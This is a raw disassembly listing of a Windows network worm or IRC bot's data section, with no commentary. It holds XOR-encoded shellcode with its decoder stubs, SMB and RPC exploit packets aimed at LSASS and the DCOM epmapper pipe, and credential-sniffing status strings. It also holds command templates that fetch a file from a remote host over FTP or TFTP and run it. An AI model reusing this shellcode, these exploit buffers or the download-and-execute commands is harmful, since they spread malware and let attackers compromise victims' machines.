unk_424FD4 db 2 ; DATA XREF: sub_402E92+34Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFtpSniffSDToSD db 'FTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_425018 db 2 ; DATA XREF: sub_402E92+314o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aIrcSniffSDToSD db 'IRC sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
dword_42505C dd 7A026E02h, 201F6D1Fh, 696E7328h, 702E6666h, 671F6C1Fh
; DATA XREF: sub_402E92+2DBo
dd 0BB022029h, 202002BBh, 20746F42h, 66696E73h, 25222066h
dd 64253A73h, 6F742022h, 73252220h, 2264253Ah, 202D203Ah
dd 22732522h, 0
; ---------------------------------------------------------------------------
jmp short loc_4250B2
; =============== S U B R O U T I N E =======================================
sub_4250A2 proc far ; CODE XREF: sub_4250A2:loc_4250B2p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4250AA: ; CODE XREF: sub_4250A2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4250AA
jmp short loc_4250B7
; ---------------------------------------------------------------------------
loc_4250B2: ; CODE XREF: ___:004250A0j
call near ptr sub_4250A2
loc_4250B7: ; CODE XREF: sub_4250A2+Ej
jo short loc_42511B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_425139
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_42511B: ; CODE XREF: sub_4250A2:loc_4250B7j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_425139: ; CODE XREF: sub_4250A2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4250A2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4251E0: ; DATA XREF: sub_4033C9+150o
; sub_4033C9+20Do
jmp short loc_4251F2
; =============== S U B R O U T I N E =======================================
sub_4251E2 proc near ; CODE XREF: sub_4251E2:loc_4251F2p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4251EA: ; CODE XREF: sub_4251E2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4251EA
jmp short loc_4251F7
; ---------------------------------------------------------------------------
loc_4251F2: ; CODE XREF: ___:loc_4251E0j
call sub_4251E2
loc_4251F7: ; CODE XREF: sub_4251E2+Ej
jo short near ptr dword_425170+1Eh
cwde
cdq
cdq
retn
sub_4251E2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_425290 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_4033C9+101o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_425378 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_40381E+7Fo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_425404 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40381E+AAo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_4254B0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40381E+CFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_425590 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4033C9+57o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_4033C9+86o
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_4255F4 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4033C9+2B0o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_425660 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4033C9+2DBo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425704 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4033C9+3C3o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_425784 dd offset loc_401495 ; DATA XREF: sub_4033C9+3F1o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset sub_40707C
dd 1, 0
dd 1, 0
dd offset sub_40707C
dd 1, 0
dd 1, 0
dd offset sub_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_425818 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4033C9+314o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_425884 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4033C9+33Fo
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_4258F8 dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 2 dup(0)
word_425980 dw 0AD9Dh ; DATA XREF: sub_40327E+30r
; sub_4033C9+E3r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4259C0 dd 1004600h ; sub_4033C9+240r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_425A78 dd 0A0D7325h, 0 ; sub_404197+102o ...
aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
; DATA XREF: sub_40327E+A4o
db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------
loc_425AE4: ; DATA XREF: sub_4033C9+171o
; sub_4042F8+177o
jmp short loc_425AEC
; ---------------------------------------------------------------------------
jmp short loc_425AEE
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_425AEC: ; CODE XREF: ___:loc_425AE4j
; DATA XREF: sub_4033C9+27o ...
pop esp
pop esp
loc_425AEE: ; CODE XREF: ___:00425AE6j
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_425AF8 dd 1CEC8166h ; sub_4042F8+Dr
dword_425AFC dd 0E4FF07h ; sub_4042F8+16r
unk_425B00 db 2 ; DATA XREF: sub_40381E+173o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 63h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aUsingSExploitA db ' using %s exploit and sending file to %s',0
align 4
dword_425B44 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_403E35+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425B90 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403BE2+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_425EF4 dd 20h, 0 dd 20h, 5C005Ch, 0
off_425F08 dd offset off_43005C ; DATA XREF: sub_403BE2+15Do
dd offset dword_5C0024
a12345611111111:
unicode 0, <123456111111111111111.doc>,0
align 8
dword_425F48 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_425F7C dd offset word_580046 ; DATA XREF: sub_403BE2+45o
dd offset loc_42004D+1
dd offset word_580046
dd offset word_580046
dd offset loc_42004D+1
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_426058 dd 18759Fh dword_42605C dd 100139Dh off_426060 dd offset dword_5C005C ; DATA XREF: sub_403A47+1Co
; sub_403B2A+16o
align 8
off_426068 dd offset dword_49005C ; DATA XREF: sub_403A47+Co
; sub_403B2A+Bo
dd offset off_430050
dd 24h
unk_426074 db 2 ; DATA XREF: sub_403E35+2E9o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 25h, 73h, 2Eh
db 70h ; p
db 1Fh, 6Ch, 1Fh
db 67h ; g
db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aTryingToRootS db ' trying to root %s',0
align 10h
unk_4260A0 db 2 ; DATA XREF: sub_403E35+29Co
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 74h, 66h, 74h
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aTransferComple db ' transfer complete to IP: %s',0
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_403E35+41o
align 10h
jmp short loc_426102
; =============== S U B R O U T I N E =======================================
sub_4260F2 proc far ; CODE XREF: sub_4260F2:loc_426102p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4260FA: ; CODE XREF: sub_4260F2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4260FA
jmp short loc_426107
; ---------------------------------------------------------------------------
loc_426102: ; CODE XREF: ___:004260F0j
call near ptr sub_4260F2
loc_426107: ; CODE XREF: sub_4260F2+Ej
jo short loc_42616B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_426189
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_42616B: ; CODE XREF: sub_4260F2:loc_426107j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_426189: ; CODE XREF: sub_4260F2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4260F2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_426230: ; DATA XREF: sub_4042F8+156o
; sub_4042F8+212o
jmp short loc_426242
; =============== S U B R O U T I N E =======================================
sub_426232 proc near ; CODE XREF: sub_426232:loc_426242p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_42623A: ; CODE XREF: sub_426232+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42623A
jmp short loc_426247
; ---------------------------------------------------------------------------
loc_426242: ; CODE XREF: ___:loc_426230j
call sub_426232
loc_426247: ; CODE XREF: sub_426232+Ej
jo short near ptr dword_4261C0+1Eh
cwde
cdq
cdq
retn
sub_426232 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_4262E0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_4042F8+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4263C8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_404737+85o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_426454 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_404737+B1o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_426500 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_404737+D8o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4265E0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4042F8+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_4042F8+8Ao
unicode 0, <C$>,0
a?????_0 db '?????',0
dd 0
dword_426644 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4042F8+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_4266B0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4042F8+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_426754 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4042F8+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4267D4 dd offset loc_401495 ; DATA XREF: sub_4042F8+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset sub_40707C
dd 1, 0
dd 1, 0
dd offset sub_40707C
dd 1, 0
dd 1, 0
dd offset sub_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_426868 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4042F8+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4268D4 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4042F8+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_426948 dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 3 dup(0)
aWinxpProfess_0 db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_426A08 dd 1004600h ; sub_4042F8+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_404197+BEo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_404197+97o
unk_426B40 db 2 ; DATA XREF: sub_404737+17Do
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 25h, 73h, 2Eh
db 65h ; e
db 1Fh, 78h, 1Fh
db 70h ; p
db 29h, 20h, 2
db 0BBh ; »
